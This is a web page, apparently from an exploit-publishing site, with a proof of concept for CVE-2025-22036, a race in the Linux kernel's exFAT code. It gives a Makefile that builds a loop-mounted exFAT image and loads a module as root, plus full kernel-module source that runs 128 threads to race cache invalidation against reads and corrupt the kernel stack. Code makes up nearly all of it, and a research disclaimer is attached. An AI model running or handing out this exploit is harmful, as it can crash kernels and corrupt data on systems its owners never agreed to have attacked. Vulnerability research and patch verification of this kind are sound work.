Copied to clipboard!
N-day confirmation

Cross-Thread Violation in the Linux Kernel exFAT Subsystem

Author: Byte Reaper CVE: 2025-22036 Date: 2026-03-11

Abstract

CVE-2025-22036 is a Cross-Thread Violation originating from a Design Vulnerability. The failure lies in a violated design assumption within the kernel's thread model, where ownership and lifetime invariants of stack-allocated structures are not enforced during concurrent I/O. This structural flaw manifests as an Execution Vulnerability, triggering random stack corruption between Core 0/1 during the operational window between bh_read and end_buffer_read_sync.

Exploit Metadata

Reproducibility

Deterministic crash observed via 0x80-thread race window

Build Instructions

Makefile
.PHONY: all module user setup run clean check
    OBJECT_FILES_NON_STANDARD_poc.o := y
    MODULE_NAME := poc
    CHECK_ENV_POC := CHECK_ENV
    KDIR        := /lib/modules/$(shell uname -r)/build
    PWD         := $(shell pwd)
    HDR_DIR     := $(PWD)/headers
    EXFAT_MOUNT := /tmp/exfat_test
    TARGET_FILE := $(EXFAT_MOUNT)/target.txt

    ccflags-y := -I$(HDR_DIR)
    obj-m += $(MODULE_NAME).o

    all: module user

    module:
        @echo "[0x1] Compiling Kernel Module..."
        $(MAKE) -C $(KDIR) M=$(PWD) modules

    user:
        @echo "[0x1] Compiling User-space App (Hardcore ASM)..."
        gcc-13 -O2 checkEnv.c -o $(CHECK_ENV_POC)

    check:
        @test -d $(EXFAT_MOUNT) && echo "[0x1] Mount exists." || echo "[0x0] Mount missing!"
        @test -f $(TARGET_FILE) && echo "[0x1] Target file exists." || echo "[0x0] Target file missing!"

    setup:
        ./CHECK_ENV
        @echo "[0x1] Hard cleanup of exFAT environment..."
        -sudo rmmod $(MODULE_NAME) 2>/dev/null || true
        -sudo umount -l $(EXFAT_MOUNT) 2>/dev/null || true
        -rm -f exfat_disk.img
        @echo "[0x1] Creating Disk Image..."
        dd if=/dev/zero of=exfat_disk.img bs=1M count=300
        @echo "[0x1] Formatting as exFAT..."
        mkfs.exfat exfat_disk.img
        @echo "[0x1] Creating mount directory..."
        sudo mkdir -p $(EXFAT_MOUNT)
        @echo "[0x1] Mounting exFAT..."
        sudo mount -o loop,sync exfat_disk.img $(EXFAT_MOUNT)
        @echo "[0x1] Creating Vulnerable File Structure..."
        sudo dd if=/dev/urandom of=$(TARGET_FILE) bs=1M count=200
        sudo truncate -s 190M /tmp/exfat_test/target.txt
        @sleep 1
        sudo chmod 666 $(TARGET_FILE)
        @sync
        @echo "[0x1] exFAT Environment ready at $(EXFAT_MOUNT)"
        run: all
        @echo "[0x1] Loading Module..."
        -sudo rmmod $(MODULE_NAME) 2>/dev/null || true
        @sleep 2
        sudo insmod $(MODULE_NAME).ko
        @sleep 1
        @echo "[0x1] Check Dmesg."
    clean:
        @echo "[0x1] Cleaning up..."
        $(MAKE) -C $(KDIR) M=$(PWD) clean
        rm -f  exfat_disk.img
        -sudo umount $(EXFAT_MOUNT) 2>/dev/null || true
        -sudo rm -rf $(EXFAT_MOUNT)
        -rm -f $(CHECK_ENV_POC)

Proof of Concept

Source Code
/*
 * CVE-2025-22036 - Cross-Thread Violation in exFAT Subsystem
 * Author: Byte Reaper (Bytrep Security Research)
 * Target: Linux Kernel 6.8 - 6.14.2 (fs/exfat)
 * Root Cause: Ownership Confusion / Lifetime Inconsistency
 * Primitive: Stack Use-After-Free (UAF)
 * Impact: Kernel Stack Corruption / State Desynchronization
 *
 * Description:
     * Technical PoC demonstrating a Design Vulnerability where the thread model
     * is violated during concurrent I/O. Results in an Execution Vulnerability
     * (Stack Corruption) between Core 0/1 during bh_read/end_buffer_read_sync.
 *
 * Environment:
     * - Tested on: Linux x86_64 (Kernel 6.9.0-generic)
     * - Scope: exFAT filesystem logic
 *
 * Disclaimer:
    * For educational and security research purposes only.
 */
#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/init.h>
#include<linux/slab.h>
#include<linux/fs.h>
#include<linux/file.h>
#include<linux/delay.h>
#include<linux/pagemap.h>
#include<linux/kthread.h>
#include<linux/cpumask.h>
#include<linux/string.h>
#include<linux/random.h>
#include<linux/limits.h>
#include<linux/atomic.h>
#include<asm/page.h>
#include<linux/preempt.h>    

#define PATH_FILE     "/tmp/exfat_test/target.txt"
#define PAGE_CACHE    "/proc/sys/vm/drop_caches"
#define THREAD_COUNT  0x80

static unsigned int cpus_num = 0x0;
static struct task_struct** threads;
static atomic_t counter = ATOMIC_INIT(0x0);
void* vaAddr;

noinline
static
void
recursive_stack_filler
(
    int depth
)
{
        //Recursive stack pressure to stress kernel stack and scheduling (may trigger stack-related faults under race conditions)
        volatile unsigned long long space[128];
        memset((void*)space,
            0x00,
            sizeof(space));
        barrier();
        if (depth > 0)
        {
            recursive_stack_filler(depth - 1);
        }
        wmb();
}
static
int
drop_cache
(
    void
)
{
        struct file* filp = NULL;
        char data[] = "3";
        ssize_t written;
        printk_ratelimited(KERN_INFO "[0x1] Drop page cache... (path:%s)\n", PAGE_CACHE);
        filp = filp_open(PAGE_CACHE,
        O_WRONLY, 0x0);
        if (IS_ERR(filp))
        {
            printk(KERN_ERR "[0x0] Error open %s\n",
                PAGE_CACHE);
            return PTR_ERR(filp);
        }
        written = kernel_write(filp,
            data,
            strlen(data),
            0x0);
        if (written < 0x0)
        {
            printk(KERN_ERR "[0x0] Error writing to %s\n",
                PAGE_CACHE);
            filp_close(filp,
                NULL);
            return written;
        }
        filp_close(filp,
            NULL);
        struct page* page_allocation;
        page_allocation = alloc_page(GFP_KERNEL);
        if (!page_allocation)
        {
            printk(KERN_ERR "[0x0] Failed to allocate page!\n");
            return -ENOMEM;
        }
        phys_addr_t paAddr = page_to_pfn(page_allocation) << PAGE_SHIFT;
        if (paAddr == 0x0)
        {
            printk(KERN_ERR "[0x0] PA Address is 0x0!\n");
            __free_page(page_allocation);
            return -EINVAL;
        }
        vaAddr = page_address(page_allocation);
        if (atomic_cmpxchg(&counter, 0x0, 0x1) == 0x0)
        {
            printk(KERN_INFO "[0x1] PA Address: %pa (VA Address: %px)\n",
                &paAddr,
                vaAddr);
            printk(KERN_INFO "[0x1] Page cache dropped successfully\n");
        }
        __free_page(page_allocation);
        return 0x0;
   }

static
int
read_file_and_invalidate_cache
(
    struct file* filp
)
{
        char* buffer;
        struct folio* f;
        ssize_t ret = 0x0;
        if (!filp)
        {
            return -EINVAL;
        }
        buffer = kmalloc(0x1000,
        GFP_KERNEL);
        if (!buffer)
        {
            return -ENOMEM;
        }
        struct kiocb kiocb;
        struct iov_iter iter;
        struct kvec vec;
        vec.iov_len = 0x1000;
        vec.iov_base = buffer;
            memset(&iter,
            0x0,
            sizeof(struct iov_iter));
        iter.iter_type = ITER_KVEC;
        iter.kvec = &vec;
        iter.nr_segs = 0x1;
        iter.count = 0x1000;
        iter.iov_offset = 0x0;
        init_sync_kiocb(&kiocb, filp);
        kiocb.ki_pos = 0;

        if (!filp->f_op || !filp->f_op->read_iter)
        {
            kfree(buffer);
            return -EINVAL;
        }
        ret = filp->f_op->read_iter(&kiocb, &iter);
        if (ret < 0x0)
        {
            printk(KERN_ERR "[0x0] Manual read_iter error: %zd\n", ret);
            kfree(buffer);
            return ret;
        }
        struct address_space* mapping = filp->f_mapping;
        if (mapping)
        {
            f = read_mapping_folio(mapping, 0x0, filp);
            if (!IS_ERR(f))
            {
                 folio_put(f);
            }
        }
        if (atomic_cmpxchg(&counter, 0x0, 0x1) == 0x0)
        {
            printk(KERN_INFO "[0x1] kernel_read returned %zd bytes\n", ret);
            if (ret >= 0x10)
            {
            printk(KERN_INFO "[EXFAT BUFFER] First 16 bytes: %*ph\n",
                0x10,
                buffer);
            }
            else
            {
            printk(KERN_INFO "[EXFAT BUFFER] Data: %*ph\n",
                (int)ret,
                buffer);
            }
        }
        if ((get_random_u32() % 0xA) == 0x0)
        {
            if (atomic_read(&counter) == 0x0 || (get_random_u32() % 0x10 == 0x0))
            {
                drop_cache();
            }

        }
        if ((get_random_u32() & 0xFF) == 0x0)
        {
            cpu_relax();
        }
        if (buffer)
        {
            kfree(buffer);
        }
        return 0x0;
}

static
int
trigger_pagecache_race
(
    struct file* filp
)
{
    struct address_space* mapping = NULL;
    struct folio* folio = NULL;
    int ret = 0x0;
    ret = read_file_and_invalidate_cache(filp);
    if (ret != 0)
    {
        return ret;
    }
    if (!filp)
    {
        return -EINVAL;
    }
    mapping = filp->f_mapping;
    if (!mapping)
    {
        return -EINVAL;
    }
    folio = read_mapping_folio
    (
        mapping,
        0x0,
        filp
    );
    if (IS_ERR(folio))
    {
        return PTR_ERR(folio);
    }
    if (!IS_ERR(folio))
    {
        preempt_disable();
        barrier();
        recursive_stack_filler(0x10 + (get_random_u32() & 0x7));
        barrier();
        preempt_enable();
        folio_put(folio);
    }
    return 0x0;
}

static
int
threaded_stack_test
(
    void* data
)
{
    struct file* filp = NULL;
    filp = filp_open(PATH_FILE,
    O_RDONLY,
    0x0);
    if (IS_ERR(filp))
    {
        return PTR_ERR(filp);
    }
    set_cpus_allowed_ptr(current, cpu_possible_mask);
    while (!kthread_should_stop())
    {
        if (filp->f_mapping)
        {
            invalidate_inode_pages2(filp->f_mapping);
        }
        d_invalidate(filp->f_path.dentry);
        for (int i = 0; i < 0x2710; i++)
        {
            trigger_pagecache_race(filp);
            if ((i & 0xFF) == 0x0)
            {
                cond_resched();
            }
        }
        cond_resched();
    }
    filp_close(filp, NULL);
    return 0x0;
}
static
int
__init entry_kernel_module_poc
(
    void
)
{
    int i;
    printk(KERN_INFO "[*] Module Loaded: %s\n",
        THIS_MODULE->name);
    cpus_num = num_online_cpus();
    if (cpus_num < 0x2)
    {
        printk(KERN_ERR "[0x0] Error start cross-thread vilation (Two cores are required)");
        return -EINVAL;
    }
    threads = kmalloc_array(THREAD_COUNT,
        sizeof(struct task_struct*),
        GFP_KERNEL);
    if (!threads)
    {
        printk(KERN_ERR "[0x0] kmalloc failed\n");
        return -ENOMEM;
    }

    for (i = 0x0; i < THREAD_COUNT; i++)
    {
        threads[i] = kthread_create(threaded_stack_test,
            NULL,
            "exfat_race_%d",
            i);
        if (IS_ERR(threads[i]))
        {
            int j;
            for (j = 0x0; j < i; j++)
            {
                kthread_stop(threads[j]);
            }
            return PTR_ERR(threads[i]);
        }
        kthread_bind(threads[i],
        i % cpus_num);
        wake_up_process(threads[i]);
        msleep(0xA);
    }
    return 0x0;
}
static
void
__exit
exit_kernel_module_poc
(
    void
)
{
    printk(KERN_ALERT "[+] Module removed.\n");
    for (int x = 0x0; x < THREAD_COUNT; x++)
    {
        if (threads && threads[x])
        {
            kthread_stop(threads[x]);
        }
   }
   if (threads)
   {
         kfree(threads);
   }
   atomic_set(&counter, 0x0);
}

module_init(entry_kernel_module_poc);
module_exit(exit_kernel_module_poc);

MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Bytrep ~ Research Lab");
MODULE_DESCRIPTION("POC ~ Cross-thread Violation");
0x446F776E6C6F6164

Artifact Access

Full exploit artifacts are restricted to verified security researchers. Requests must include technical justification and intended research scope.

Download includes:

Disclaimer

This PoC is provided strictly for vulnerability research and allocator behavior analysis. Use only in controlled environments with proper authorization.

References

NVD (CVE-2025-22036) Patch Source code inode.c